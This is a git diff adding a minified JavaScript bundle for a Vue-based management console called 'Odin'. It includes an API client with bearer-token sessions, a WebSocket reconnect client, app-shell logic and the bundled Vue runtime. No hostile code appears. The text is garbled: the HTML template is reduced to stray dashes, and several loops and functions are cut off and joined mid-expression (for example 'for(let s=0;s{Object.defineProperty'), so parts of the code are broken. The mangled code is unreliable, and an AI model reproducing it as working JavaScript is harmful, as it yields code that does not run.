failed"}finally{a.value=!1}}return{token:t,error:s,busy:a,persist:n,login:i}}},HE={template:` -
    -
    - Loading application... -
    - - -
    - - - - -
    - {{ wsToast.text }} -
    -
    - - - -
    - -
    -
    -
    - - - `,setup(){const e=f("checking"),t=f(!1),s=f(!1),a=f(!1),n=f(null),i=f(null),l=f(!1);let o=null,r=null;const c=f(!1),d=f("disconnected"),u=f(-1),p=f(null);let m=null;const h=f("starting"),y=f(""),k=cb.filter(Z=>Z.meta),A=B(()=>["Workspace","Operate","Observe","Manage"].map(Z=>({name:Z,routes:k.filter(Q=>Q.meta.section===Z)})).filter(Z=>Z.routes.length)),g=B(()=>{var Z;return((Z=Ul.currentRoute.value.meta)==null?void 0:Z.label)||"Odin"}),b=B(()=>{var Z;return((Z=Ul.currentRoute.value.meta)==null?void 0:Z.section)||"Management"}),x=B(()=>{var Z;return((Z=Ul.currentRoute.value.meta)==null?void 0:Z.description)||"Management console"});function w(){mt.disconnect(),N&&(clearInterval(N),N=null)}z.onSessionExpired=()=>{t.value=!0,w(),z.setToken(""),e.value="login"};function _(Z){var Q;if((Z.ctrlKey||Z.metaKey)&&Z.key.toLowerCase()==="k"){e.value==="ready"&&(Z.preventDefault(),nm());return}if(a.value&&Z.key==="Tab"){const ae=[...((Q=n.value)==null?void 0:Q.querySelectorAll('a[href], button:not([disabled]), [tabindex]:not([tabindex="-1"])'))||[]];if(ae.length){const V=ae[0],be=ae[ae.length-1];if(Z.shiftKey&&(document.activeElement===V||!n.value.contains(document.activeElement))){Z.preventDefault(),be.focus();return}if(!Z.shiftKey&&(document.activeElement===be||!n.value.contains(document.activeElement))){Z.preventDefault(),V.focus();return}}}if(Z.key==="Escape"&&a.value){a.value=!1,Z.preventDefault();return}if(Z.key==="/"&&!["INPUT","TEXTAREA","SELECT"].includes(Z.target.tagName)){Z.preventDefault();const ae=document.querySelector('.hm-main input[type="text"], .hm-main .hm-input:not(textarea):not(select)');ae&&ae.focus()}}function T(){l.value=!!(o!=null&&o.matches),l.value||(a.value=!1)}async function L(){try{const Z=await z.get("/api/setup/status");if(Z.mode==="pending"||Z.needed===!0)return w(),e.value="setup",!0}catch(Z){Z==null||Z.name}return!1}st(async()=>{if(document.addEventListener("keydown",_),o=window.matchMedia("(max-width: 900px)"),T(),o.addEventListener("change",T),await L())return;const Z=await z.check();Z.ok?(e.value="ready",re()):Z.needsAuth?e.value="login":(e.value="ready",re())});function E(){t.value=!1,e.value="ready",re()}async function F(){if(await L())return;const Z=await z.check();Z.ok?(e.value="ready",re()):Z.needsAuth?e.value="login":(e.value="ready",re())}async function O(){w(),e.value="login",await z.logout()}function I(){s.value=!s.value}function H(){a.value=!a.value}Gt(a,async Z=>{var Q,ae;if(Z)r=document.activeElement,await Ut(),(ae=(Q=n.value)==null?void 0:Q.querySelector(".nav-item"))==null||ae.focus();else if(r!=null&&r.isConnected){const V=r;r=null,requestAnimationFrame(()=>V.focus())}});const te=B(()=>{switch(d.value){case"connected":return"Live";case"connecting":return"Connecting…";case"reconnecting":return"Reconnecting…";default:return"Disconnected"}});function ee(Z,Q="info",ae=3e3){p.value={text:Z,level:Q},clearTimeout(m),m=setTimeout(()=>{p.value=null},ae)}let N=null,M=!1,$=[];function re(){for(const Z of $)Z();$=[mt.onStatus(Z=>{c.value=Z}),mt.onLatencyChange(Z=>{u.value=Z}),mt.onState((Z,Q)=>{d.value=Z,Z==="connected"?(M&&ee("Connection restored","success"),M=!0):Z==="reconnecting"&&Q.attempt===1&&ee("Connection lost — reconnecting…","warn")})],mt.connect(),ce(),N&&clearInterval(N),N=setInterval(ce,15e3)}async function ce(){try{const Z=await z.get("/api/status");h.value=Z.status==="online"?"online":"starting";const Q=Z.uptime_seconds||0,ae=Math.floor(Q/3600),V=Math.floor(Q%3600/60);y.value=`${ae}h ${V}m uptime`}catch{h.value="offline",y.value=""}}return wt(()=>{N&&clearInterval(N);for(const Z of $)Z();$=[],mt.disconnect(),document.removeEventListener("keydown",_),o==null||o.removeEventListener("change",T)}),{authState:e,sessionExpired:t,sidebarCollapsed:s,mobileOpen:a,wsConnected:c,wsState:d,wsLatency:u,wsLabel:te,wsToast:p,botStatus:h,botUptime:y,navRoutes:k,navGroups:A,currentPage:g,currentSection:b,currentDescription:x,sidebarEl:n,mobileMenuButton:i,isMobileViewport:l,onLogin:E,onSetupComplete:F,logout:O,toggleSidebar:I,toggleMobileNavigation:H,openPalette:nm}}},un=Cr(HE);un.component("odin-icon",gT);un.component("login-screen",zE);un.component("setup-page",UE);un.component("toast-container",sS);un.component("confirm-host",aS);un.component("command-palette",hT);un.directive("modal-focus",yT);un.use(Ul);un.mount("#app"); diff --git a/ui/dist/assets/index-Ot_pMk3q.js b/ui/dist/assets/index-Ot_pMk3q.js new file mode 100644 index 000000000..69598a2a6 --- /dev/null +++ b/ui/dist/assets/index-Ot_pMk3q.js @@ -0,0 +1,7632 @@ +var jC=Object.defineProperty;var JC=(t,e,s)=>e in t?jC(t,e,{enumerable:!0,configurable:!0,writable:!0,value:s}):t[e]=s;var ye=(t,e,s)=>JC(t,typeof e!="symbol"?e+"":e,s);(function(){const e=document.createElement("link").relList;if(e&&e.supports&&e.supports("modulepreload"))return;for(const a of document.querySelectorAll('link[rel="modulepreload"]'))n(a);new MutationObserver(a=>{for(const i of a)if(i.type==="childList")for(const l of i.addedNodes)l.tagName==="LINK"&&l.rel==="modulepreload"&&n(l)}).observe(document,{childList:!0,subtree:!0});function s(a){const i={};return a.integrity&&(i.integrity=a.integrity),a.referrerPolicy&&(i.referrerPolicy=a.referrerPolicy),a.crossOrigin==="use-credentials"?i.credentials="include":a.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function n(a){if(a.ep)return;a.ep=!0;const i=s(a);fetch(a.href,i)}})();class zC{constructor(){this._persist=localStorage.getItem("odin_persist")==="1",this._token=this._persist?localStorage.getItem("odin_token")||"":sessionStorage.getItem("odin_token")||"";const e=this._persist?localStorage:sessionStorage;this._sessionTimeout=parseInt(e.getItem("odin_session_timeout")||"0",10),this._lastActivity=Date.now(),this._activityTimer=null,this.onSessionExpired=null,this._token&&this._sessionTimeout>0&&this._startActivityMonitor()}get token(){return this._token}get sessionTimeout(){return this._sessionTimeout}setToken(e,s=0){this._token=e,this._sessionTimeout=s,this._lastActivity=Date.now(),e?(this._persist?(localStorage.setItem("odin_token",e),s>0?localStorage.setItem("odin_session_timeout",String(s)):localStorage.removeItem("odin_session_timeout"),localStorage.setItem("odin_persist","1"),sessionStorage.removeItem("odin_token"),sessionStorage.removeItem("odin_session_timeout")):(localStorage.removeItem("odin_persist"),localStorage.removeItem("odin_token"),localStorage.removeItem("odin_session_timeout"),sessionStorage.setItem("odin_token",e),s>0?sessionStorage.setItem("odin_session_timeout",String(s)):sessionStorage.removeItem("odin_session_timeout")),this._startActivityMonitor()):(localStorage.removeItem("odin_persist"),sessionStorage.removeItem("odin_token"),sessionStorage.removeItem("odin_session_timeout"),localStorage.removeItem("odin_token"),localStorage.removeItem("odin_session_timeout"),this._stopActivityMonitor())}setPersist(e){this._persist=e}_startActivityMonitor(){this._stopActivityMonitor(),!(this._sessionTimeout<=0)&&(this._activityTimer=setInterval(()=>{(Date.now()-this._lastActivity)/1e3>=this._sessionTimeout&&(this._stopActivityMonitor(),this.onSessionExpired&&this.onSessionExpired())},1e4))}_stopActivityMonitor(){this._activityTimer&&(clearInterval(this._activityTimer),this._activityTimer=null)}_headers(e={}){const s={"Content-Type":"application/json",...e};return this._token&&(s.Authorization=`Bearer ${this._token}`),s}async _request(e,s,n=null,{signal:a}={}){this._lastActivity=Date.now();const i={method:e,headers:this._headers(),signal:a};n!==null&&(i.body=JSON.stringify(n));const l=await fetch(s,i);if(l.status===401)throw new go("Unauthorized");const r=await l.json().catch(()=>null);if(!l.ok){const o=(r==null?void 0:r.error)||`HTTP ${l.status}`;throw new _u(o,l.status,r)}return r}get(e,s={}){return this._request("GET",e,null,s)}async getBlob(e){this._lastActivity=Date.now();const s=await fetch(e,{method:"GET",headers:this._headers()});if(s.status===401)throw new go("Unauthorized");if(!s.ok){const n=await s.json().catch(()=>null);throw new _u((n==null?void 0:n.error)||`HTTP ${s.status}`,s.status,n)}return s.blob()}post(e,s){return this._request("POST",e,s)}async setListenerExposure(e,s){const n=await fetch("/api/setup/listener",{method:"POST",headers:{"Content-Type":"application/json",Authorization:`Bearer ${e}`},body:JSON.stringify({expose_beyond_loopback:s})}),a=await n.json().catch(()=>null);if(!n.ok)throw new _u((a==null?void 0:a.error)||"Listener reauthentication failed",n.status,a);return a}put(e,s){return this._request("PUT",e,s)}del(e){return this._request("DELETE",e)}async login(e){const s=await fetch("/api/auth/login",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({token:e})}),n=await s.json().catch(()=>null);if(!s.ok)throw new go((n==null?void 0:n.error)||"Login failed");return this.setToken(n.session_id,n.timeout_seconds||0),n}async logout(){const e=this.post("/api/auth/logout",{});this.setToken("");try{await e}catch{}}async check(){try{return await this.get("/api/status"),{ok:!0,needsAuth:!1}}catch(e){return e instanceof go?{ok:!1,needsAuth:!0}:{ok:!1,needsAuth:!1,error:e.message}}}}class go extends Error{constructor(e){super(e),this.name="AuthError"}}class _u extends Error{constructor(e,s,n){super(e),this.name="ApiError",this.status=s,this.data=n}}class qC{constructor(e){this._api=e,this._ws=null,this._handlers={logs:[],events:[],chat:[]},this._reconnectDelay=1e3,this._maxReconnectDelay=3e4,this._shouldConnect=!1,this._subscriptions=new Set,this._reconnectAttempt=0,this._reconnectTimer=null,this._lastPongTime=0,this._pingInterval=null,this._forcedRetireTimer=null,this._subscriptionAckTimer=null,this._pendingReconnect=null,this._latency=-1,this._chatPending=!1,this._state="disconnected",this._lifecycle={status:new Set,state:new Set,latency:new Set,reconnected:new Set},this._everConnected=!1,this._reconnectEpoch=0}onStatus(e){return this._addLifecycle("status",e)}onState(e){return this._addLifecycle("state",e)}onLatencyChange(e){return this._addLifecycle("latency",e)}onReconnected(e){return this._addLifecycle("reconnected",e)}_addLifecycle(e,s){return this._lifecycle[e].add(s),()=>{this._lifecycle[e].delete(s)}}_emitLifecycle(e,...s){for(const n of[...this._lifecycle[e]])try{n(...s)}catch{}}get connected(){var e;return((e=this._ws)==null?void 0:e.readyState)===WebSocket.OPEN}get state(){return this._state}get reconnectAttempt(){return this._reconnectAttempt}get latency(){return this._latency}get reconnectEpoch(){return this._reconnectEpoch}_resetLatency(){this._latency=-1,this._emitLifecycle("latency",-1)}connect(){this._shouldConnect=!0,this._setState("connecting"),this._open()}disconnect(){this._shouldConnect=!1,this._everConnected=!1,this._reconnectTimer&&(clearTimeout(this._reconnectTimer),this._reconnectTimer=null),this._forcedRetireTimer&&(clearTimeout(this._forcedRetireTimer),this._forcedRetireTimer=null),this._subscriptionAckTimer&&(clearTimeout(this._subscriptionAckTimer),this._subscriptionAckTimer=null),this._pendingReconnect=null,this._reconnectAttempt=0,this._resetLatency(),this._stopPing(),this._ws&&(this._ws.close(),this._ws=null),this._setState("disconnected")}_setState(e){this._state!==e&&(this._state=e,this._emitLifecycle("state",e,{attempt:this._reconnectAttempt,latency:this._latency}))}_startPing(e){this._stopPing(),this._lastPongTime=Date.now(),this._pingInterval=setInterval(()=>{if(!(this._ws!==e||e.readyState!==WebSocket.OPEN)){if(this._lastPongTime&&Date.now()-this._lastPongTime>47e3){this._beginForcedRetirement(e,"pong timeout");return}try{e.send(JSON.stringify({type:"ping",ts:Date.now()}))}catch{}}},15e3)}_beginForcedRetirement(e,s){if(!(this._ws!==e||this._forcedRetireTimer)){this._stopPing(),this._reconnectAttempt++,this._setState("reconnecting"),this._emitLifecycle("status",!1),this._forcedRetireTimer=setTimeout(()=>{this._forcedRetireTimer=null,this._retireSocket(e,!0,!0)},1e3);try{e.close(4e3,s)}catch{}}}_scheduleReconnect(e=!0){!this._shouldConnect||this._reconnectTimer||(e&&this._reconnectAttempt++,this._setState("reconnecting"),this._reconnectTimer=setTimeout(()=>{this._reconnectTimer=null,this._open()},this._reconnectDelay),this._reconnectDelay=Math.min(this._reconnectDelay*2,this._maxReconnectDelay))}_retireSocket(e,s=!1,n=!1){if(this._ws===e){if(this._forcedRetireTimer&&(clearTimeout(this._forcedRetireTimer),this._forcedRetireTimer=null),this._subscriptionAckTimer&&(clearTimeout(this._subscriptionAckTimer),this._subscriptionAckTimer=null),this._pendingReconnect=null,this._ws=null,this._stopPing(),this._resetLatency(),this._chatPending){this._chatPending=!1;const a={type:"chat_error",error:"Connection lost — the response may still complete; check session history."};for(const i of this._handlers.chat||[])i(a)}s||this._emitLifecycle("status",!1),this._shouldConnect?this._scheduleReconnect(!n):this._setState("disconnected")}}_beginReconnectBarrier(e,s){if(!s)return;const n=new Set(this._subscriptions);if(n.size===0){this._reconnectEpoch+=1,this._emitLifecycle("reconnected",this._reconnectEpoch);return}this._pendingReconnect={socket:e,channels:n},this._subscriptionAckTimer=setTimeout(()=>{var a;((a=this._pendingReconnect)==null?void 0:a.socket)===e&&this._beginForcedRetirement(e,"subscription acknowledgement timeout")},5e3)}_ackSubscription(e,s){const n=this._pendingReconnect;!n||n.socket!==e||!n.channels.has(s)||(n.channels.delete(s),!(n.channels.size>0)&&(this._pendingReconnect=null,this._subscriptionAckTimer&&(clearTimeout(this._subscriptionAckTimer),this._subscriptionAckTimer=null),this._reconnectEpoch+=1,this._emitLifecycle("reconnected",this._reconnectEpoch)))}_stopPing(){this._pingInterval&&(clearInterval(this._pingInterval),this._pingInterval=null)}subscribe(e,s){var n;if(this._handlers[e]||(this._handlers[e]=[]),this._handlers[e].push(s),e!=="chat"&&(this._subscriptions.add(e),this.connected)){const a=this._ws;((n=this._pendingReconnect)==null?void 0:n.socket)===a&&this._pendingReconnect.channels.add(e),a.send(JSON.stringify({subscribe:e}))}}unsubscribe(e,s){const n=this._handlers[e];if(n){const a=n.indexOf(s);if(a>=0&&n.splice(a,1),n.length===0&&e!=="chat"&&(this._subscriptions.delete(e),this.connected)){const i=this._ws;i.send(JSON.stringify({unsubscribe:e})),this._ackSubscription(i,e)}}}on(e,s){return this.subscribe(e,s)}off(e,s){return this.unsubscribe(e,s)}sendChat(e,{channelId:s,userId:n,username:a}={}){return this.connected?(this._ws.send(JSON.stringify({type:"chat",content:e,channel_id:s||"web-default",user_id:n||void 0,username:a||void 0})),this._chatPending=!0,!0):!1}_open(){if(this._ws||!this._shouldConnect)return;const s=`${location.protocol==="https:"?"wss:":"ws:"}//${location.host}/api/ws`,n=this._api.token?["odin.bearer."+btoa(this._api.token).replace(/\+/g,"-").replace(/\//g,"_").replace(/=+$/,"")]:void 0,a=n?new WebSocket(s,n):new WebSocket(s);this._ws=a;const i=()=>this._ws===a;a.onopen=()=>{if(!i())return;const l=this._everConnected;this._everConnected=!0,this._reconnectDelay=1e3,this._reconnectAttempt=0;for(const r of this._subscriptions)a.send(JSON.stringify({subscribe:r}));this._startPing(a),this._setState("connected"),this._emitLifecycle("status",!0),this._beginReconnectBarrier(a,l)},a.onmessage=l=>{if(!i())return;let r;try{r=JSON.parse(l.data)}catch{return}const o=r.type;if(o==="pong"){r.ts&&(this._latency=Date.now()-r.ts,this._lastPongTime=Date.now(),this._emitLifecycle("latency",this._latency));return}if(o==="subscribed"){this._ackSubscription(a,r.channel);return}if(o==="log")for(const c of this._handlers.logs||[])c(r);else if(o==="event")for(const c of this._handlers.events||[])c(r);else if(o==="chat_response"||o==="chat_error"){this._chatPending=!1;for(const c of this._handlers.chat||[])c(r)}},a.onclose=()=>{const l=!!this._forcedRetireTimer;this._retireSocket(a,l,l)},a.onerror=()=>{}}}const U=new zC,wt=new qC(U);/** +* @vue/shared v3.5.38 +* (c) 2018-present Yuxi (Evan) You and Vue contributors +* @license MIT +**/function kn(t){const e=Object.create(null);for(const s of t.split(","))e[s]=1;return s=>s in e}const bt={},ml=[],Ns=()=>{},Bl=()=>!1,Ji=t=>t.charCodeAt(0)===111&&t.charCodeAt(1)===110&&(t.charCodeAt(2)>122||t.charCodeAt(2)<97),Oc=t=>t.startsWith("onUpdate:"),vt=Object.assign,Kd=(t,e)=>{const s=t.indexOf(e);s>-1&&t.splice(s,1)},VC=Object.prototype.hasOwnProperty,Lt=(t,e)=>VC.call(t,e),Ve=Array.isArray,vl=t=>Hl(t)==="[object Map]",zi=t=>Hl(t)==="[object Set]",Cf=t=>Hl(t)==="[object Date]",KC=t=>Hl(t)==="[object RegExp]",rt=t=>typeof t=="function",ut=t=>typeof t=="string",Js=t=>typeof t=="symbol",Rt=t=>t!==null&&typeof t=="object",Wd=t=>(Rt(t)||rt(t))&&rt(t.then)&&rt(t.catch),ag=Object.prototype.toString,Hl=t=>ag.call(t),WC=t=>Hl(t).slice(8,-1),Lc=t=>Hl(t)==="[object Object]",Nc=t=>ut(t)&&t!=="NaN"&&t[0]!=="-"&&""+parseInt(t,10)===t,Aa=kn(",key,ref,ref_for,ref_key,onVnodeBeforeMount,onVnodeMounted,onVnodeBeforeUpdate,onVnodeUpdated,onVnodeBeforeUnmount,onVnodeUnmounted"),QC=kn("bind,cloak,else-if,else,for,html,if,model,on,once,pre,show,slot,text,memo"),Fc=t=>{const e=Object.create(null);return(s=>e[s]||(e[s]=t(s)))},YC=/-\w/g,Ut=Fc(t=>t.replace(YC,e=>e.slice(1).toUpperCase())),ZC=/\B([A-Z])/g,gn=Fc(t=>t.replace(ZC,"-$1").toLowerCase()),qi=Fc(t=>t.charAt(0).toUpperCase()+t.slice(1)),bl=Fc(t=>t?`on${qi(t)}`:""),Ds=(t,e)=>!Object.is(t,e),Cl=(t,...e)=>{for(let s=0;s{Object.defineProperty(t,e,{configurable:!0,enumerable:!1,writable:n,value:s})},Mc=t=>{const e=parseFloat(t);return isNaN(e)?t:e},sc=t=>{const e=ut(t)?Number(t):NaN;return isNaN(e)?t:e};let yf;const Pc=()=>yf||(yf=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:typeof global<"u"?global:{});function XC(t,e){return t+JSON.stringify(e,(s,n)=>typeof n=="function"?n.toString():n)}const ey="Infinity,undefined,NaN,isFinite,isNaN,parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt,console,Error,Symbol",ty=kn(ey);function Qr(t){if(Ve(t)){const e={};for(let s=0;s{if(s){const n=s.split(ny);n.length>1&&(e[n[0].trim()]=n[1].trim())}}),e}function Yr(t){let e="";if(ut(t))e=t;else if(Ve(t))for(let s=0;sLa(s,e))}const og=t=>!!(t&&t.__v_isRef===!0),cg=t=>ut(t)?t:t==null?"":Ve(t)||Rt(t)&&(t.toString===ag||!rt(t.toString))?og(t)?cg(t.value):JSON.stringify(t,ug,2):String(t),ug=(t,e)=>og(e)?ug(t,e.value):vl(e)?{[`Map(${e.size})`]:[...e.entries()].reduce((s,[n,a],i)=>(s[Eu(n,i)+" =>"]=a,s),{})}:zi(e)?{[`Set(${e.size})`]:[...e.values()].map(s=>Eu(s))}:Js(e)?Eu(e):Rt(e)&&!Ve(e)&&!Lc(e)?String(e):e,Eu=(t,e="")=>{var s;return Js(t)?`Symbol(${(s=t.description)!=null?s:e})`:t};function my(t){return t==null?"initial":typeof t=="string"?t===""?" ":t:String(t)}/** +* @vue/reactivity v3.5.38 +* (c) 2018-present Yuxi (Evan) You and Vue contributors +* @license MIT +**/let ws;class Qd{constructor(e=!1){this.detached=e,this._active=!0,this._on=0,this.effects=[],this.cleanups=[],this._isPaused=!1,this._warnOnRun=!0,this.__v_skip=!0,!e&&ws&&(ws.active?(this.parent=ws,this.index=(ws.scopes||(ws.scopes=[])).push(this)-1):(this._active=!1,this._warnOnRun=!1))}get active(){return this._active}pause(){if(this._active){this._isPaused=!0;let e,s;if(this.scopes)for(e=0,s=this.scopes.length;e0&&--this._on===0){if(ws===this)ws=this.prevScope;else{let e=ws;for(;e;){if(e.prevScope===this){e.prevScope=this.prevScope;break}e=e.prevScope}}this.prevScope=void 0}}stop(e){if(this._active){this._active=!1;let s,n;for(s=0,n=this.effects.length;s0)return;if(vr){let e=vr;for(vr=void 0;e;){const s=e.next;e.next=void 0,e.flags&=-9,e=s}}let t;for(;mr;){let e=mr;for(mr=void 0;e;){const s=e.next;if(e.next=void 0,e.flags&=-9,e.flags&1)try{e.trigger()}catch(n){t||(t=n)}e=s}}if(t)throw t}function Bg(t){for(let e=t.deps;e;e=e.nextDep)e.version=-1,e.prevActiveLink=e.dep.activeLink,e.dep.activeLink=e}function hg(t){let e,s=t.depsTail,n=s;for(;n;){const a=n.prevDep;n.version===-1?(n===s&&(s=a),Xd(n),Cy(n)):e=n,n.dep.activeLink=n.prevActiveLink,n.prevActiveLink=void 0,n=a}t.deps=e,t.depsTail=s}function ad(t){for(let e=t.deps;e;e=e.nextDep)if(e.dep.version!==e.version||e.dep.computed&&(gg(e.dep.computed)||e.dep.version!==e.version))return!0;return!!t._dirty}function gg(t){if(t.flags&4&&!(t.flags&16)||(t.flags&=-17,t.globalVersion===Tr)||(t.globalVersion=Tr,!t.isSSR&&t.flags&128&&(!t.deps&&!t._dirty||!ad(t))))return;t.flags|=2;const e=t.dep,s=qt,n=$n;qt=t,$n=!0;try{Bg(t);const a=t.fn(t._value);(e.version===0||Ds(a,t._value))&&(t.flags|=128,t._value=a,e.version++)}catch(a){throw e.version++,a}finally{qt=s,$n=n,hg(t),t.flags&=-3}}function Xd(t,e=!1){const{dep:s,prevSub:n,nextSub:a}=t;if(n&&(n.nextSub=a,t.prevSub=void 0),a&&(a.prevSub=n,t.nextSub=void 0),s.subs===t&&(s.subs=n,!n&&s.computed)){s.computed.flags&=-5;for(let i=s.computed.deps;i;i=i.nextDep)Xd(i,!0)}!e&&!--s.sc&&s.map&&s.map.delete(s.key)}function Cy(t){const{prevDep:e,nextDep:s}=t;e&&(e.nextDep=s,t.prevDep=void 0),s&&(s.prevDep=e,t.nextDep=void 0)}function yy(t,e){t.effect instanceof Sr&&(t=t.effect.fn);const s=new Sr(t);e&&vt(s,e);try{s.run()}catch(a){throw s.stop(),a}const n=s.run.bind(s);return n.effect=s,n}function xy(t){t.effect.stop()}let $n=!0;const mg=[];function Na(){mg.push($n),$n=!1}function Fa(){const t=mg.pop();$n=t===void 0?!0:t}function xf(t){const{cleanup:e}=t;if(t.cleanup=void 0,e){const s=qt;qt=void 0;try{e()}finally{qt=s}}}let Tr=0;class wy{constructor(e,s){this.sub=e,this.dep=s,this.version=s.version,this.nextDep=this.prevDep=this.nextSub=this.prevSub=this.prevActiveLink=void 0}}class Gc{constructor(e){this.computed=e,this.version=0,this.activeLink=void 0,this.subs=void 0,this.map=void 0,this.key=void 0,this.sc=0,this.__v_skip=!0}track(e){if(!qt||!$n||qt===this.computed)return;let s=this.activeLink;if(s===void 0||s.sub!==qt)s=this.activeLink=new wy(qt,this),qt.deps?(s.prevDep=qt.depsTail,qt.depsTail.nextDep=s,qt.depsTail=s):qt.deps=qt.depsTail=s,vg(s);else if(s.version===-1&&(s.version=this.version,s.nextDep)){const n=s.nextDep;n.prevDep=s.prevDep,s.prevDep&&(s.prevDep.nextDep=n),s.prevDep=qt.depsTail,s.nextDep=void 0,qt.depsTail.nextDep=s,qt.depsTail=s,qt.deps===s&&(qt.deps=n)}return s}trigger(e){this.version++,Tr++,this.notify(e)}notify(e){Yd();try{for(let s=this.subs;s;s=s.prevSub)s.sub.notify()&&s.sub.dep.notify()}finally{Zd()}}}function vg(t){if(t.dep.sc++,t.sub.flags&4){const e=t.dep.computed;if(e&&!t.dep.subs){e.flags|=20;for(let n=e.deps;n;n=n.nextDep)vg(n)}const s=t.dep.subs;s!==t&&(t.prevSub=s,s&&(s.nextSub=t)),t.dep.subs=t}}const nc=new WeakMap,Li=Symbol(""),id=Symbol(""),Ar=Symbol("");function Us(t,e,s){if($n&&qt){let n=nc.get(t);n||nc.set(t,n=new Map);let a=n.get(s);a||(n.set(s,a=new Gc),a.map=n,a.key=s),a.track()}}function _a(t,e,s,n,a,i){const l=nc.get(t);if(!l){Tr++;return}const r=o=>{o&&o.trigger()};if(Yd(),e==="clear")l.forEach(r);else{const o=Ve(t),c=o&&Nc(s);if(o&&s==="length"){const u=Number(n);l.forEach((d,p)=>{(p==="length"||p===Ar||!Js(p)&&p>=u)&&r(d)})}else switch((s!==void 0||l.has(void 0))&&r(l.get(s)),c&&r(l.get(Ar)),e){case"add":o?c&&r(l.get("length")):(r(l.get(Li)),vl(t)&&r(l.get(id)));break;case"delete":o||(r(l.get(Li)),vl(t)&&r(l.get(id)));break;case"set":vl(t)&&r(l.get(Li));break}}Zd()}function _y(t,e){const s=nc.get(t);return s&&s.get(e)}function tl(t){const e=Dt(t);return e===t?e:(Us(e,"iterate",Ar),vn(t)?e:e.map(Jn))}function Uc(t){return Us(t=Dt(t),"iterate",Ar),t}function ia(t,e){return oa(t)?Dl(Ra(t)?Jn(e):e):Jn(e)}const Ey={__proto__:null,[Symbol.iterator](){return Du(this,Symbol.iterator,t=>ia(this,t))},concat(...t){return tl(this).concat(...t.map(e=>Ve(e)?tl(e):e))},entries(){return Du(this,"entries",t=>(t[1]=ia(this,t[1]),t))},every(t,e){return ha(this,"every",t,e,void 0,arguments)},filter(t,e){return ha(this,"filter",t,e,s=>s.map(n=>ia(this,n)),arguments)},find(t,e){return ha(this,"find",t,e,s=>ia(this,s),arguments)},findIndex(t,e){return ha(this,"findIndex",t,e,void 0,arguments)},findLast(t,e){return ha(this,"findLast",t,e,s=>ia(this,s),arguments)},findLastIndex(t,e){return ha(this,"findLastIndex",t,e,void 0,arguments)},forEach(t,e){return ha(this,"forEach",t,e,void 0,arguments)},includes(...t){return Su(this,"includes",t)},indexOf(...t){return Su(this,"indexOf",t)},join(t){return tl(this).join(t)},lastIndexOf(...t){return Su(this,"lastIndexOf",t)},map(t,e){return ha(this,"map",t,e,void 0,arguments)},pop(){return Yl(this,"pop")},push(...t){return Yl(this,"push",t)},reduce(t,...e){return wf(this,"reduce",t,e)},reduceRight(t,...e){return wf(this,"reduceRight",t,e)},shift(){return Yl(this,"shift")},some(t,e){return ha(this,"some",t,e,void 0,arguments)},splice(...t){return Yl(this,"splice",t)},toReversed(){return tl(this).toReversed()},toSorted(t){return tl(this).toSorted(t)},toSpliced(...t){return tl(this).toSpliced(...t)},unshift(...t){return Yl(this,"unshift",t)},values(){return Du(this,"values",t=>ia(this,t))}};function Du(t,e,s){const n=Uc(t),a=n[e]();return n!==t&&!vn(t)&&(a._next=a.next,a.next=()=>{const i=a._next();return i.done||(i.value=s(i.value)),i}),a}const ky=Array.prototype;function ha(t,e,s,n,a,i){const l=Uc(t),r=l!==t&&!vn(t),o=l[e];if(o!==ky[e]){const d=o.apply(t,i);return r?Jn(d):d}let c=s;l!==t&&(r?c=function(d,p){return s.call(this,ia(t,d),p,t)}:s.length>2&&(c=function(d,p){return s.call(this,d,p,t)}));const u=o.call(l,c,n);return r&&a?a(u):u}function wf(t,e,s,n){const a=Uc(t),i=a!==t&&!vn(t);let l=s,r=!1;a!==t&&(i?(r=n.length===0,l=function(c,u,d){return r&&(r=!1,c=ia(t,c)),s.call(this,c,ia(t,u),d,t)}):s.length>3&&(l=function(c,u,d){return s.call(this,c,u,d,t)}));const o=a[e](l,...n);return r?ia(t,o):o}function Su(t,e,s){const n=Dt(t);Us(n,"iterate",Ar);const a=n[e](...s);return(a===-1||a===!1)&&Zr(s[0])?(s[0]=Dt(s[0]),n[e](...s)):a}function Yl(t,e,s=[]){Na(),Yd();const n=Dt(t)[e].apply(t,s);return Zd(),Fa(),n}const Dy=kn("__proto__,__v_isRef,__isVue"),bg=new Set(Object.getOwnPropertyNames(Symbol).filter(t=>t!=="arguments"&&t!=="caller").map(t=>Symbol[t]).filter(Js));function Sy(t){Js(t)||(t=String(t));const e=Dt(this);return Us(e,"has",t),e.hasOwnProperty(t)}class Cg{constructor(e=!1,s=!1){this._isReadonly=e,this._isShallow=s}get(e,s,n){if(s==="__v_skip")return e.__v_skip;const a=this._isReadonly,i=this._isShallow;if(s==="__v_isReactive")return!a;if(s==="__v_isReadonly")return a;if(s==="__v_isShallow")return i;if(s==="__v_raw")return n===(a?i?kg:Eg:i?_g:wg).get(e)||Object.getPrototypeOf(e)===Object.getPrototypeOf(n)?e:void 0;const l=Ve(e);if(!a){let o;if(l&&(o=Ey[s]))return o;if(s==="hasOwnProperty")return Sy}const r=Reflect.get(e,s,bs(e)?e:n);if((Js(s)?bg.has(s):Dy(s))||(a||Us(e,"get",s),i))return r;if(bs(r)){const o=l&&Nc(s)?r:r.value;return a&&Rt(o)?ac(o):o}return Rt(r)?a?ac(r):Bi(r):r}}class yg extends Cg{constructor(e=!1){super(!1,e)}set(e,s,n,a){let i=e[s];const l=Ve(e)&&Nc(s);if(!this._isShallow){const c=oa(i);if(!vn(n)&&!oa(n)&&(i=Dt(i),n=Dt(n)),!l&&bs(i)&&!bs(n))return c||(i.value=n),!0}const r=l?Number(s)t,mo=t=>Reflect.getPrototypeOf(t);function Oy(t,e,s){return function(...n){const a=this.__v_raw,i=Dt(a),l=vl(i),r=t==="entries"||t===Symbol.iterator&&l,o=t==="keys"&&l,c=a[t](...n),u=s?ld:e?Dl:Jn;return!e&&Us(i,"iterate",o?id:Li),vt(Object.create(c),{next(){const{value:d,done:p}=c.next();return p?{value:d,done:p}:{value:r?[u(d[0]),u(d[1])]:u(d),done:p}}})}}function vo(t){return function(...e){return t==="delete"?!1:t==="clear"?void 0:this}}function Ly(t,e){const s={get(a){const 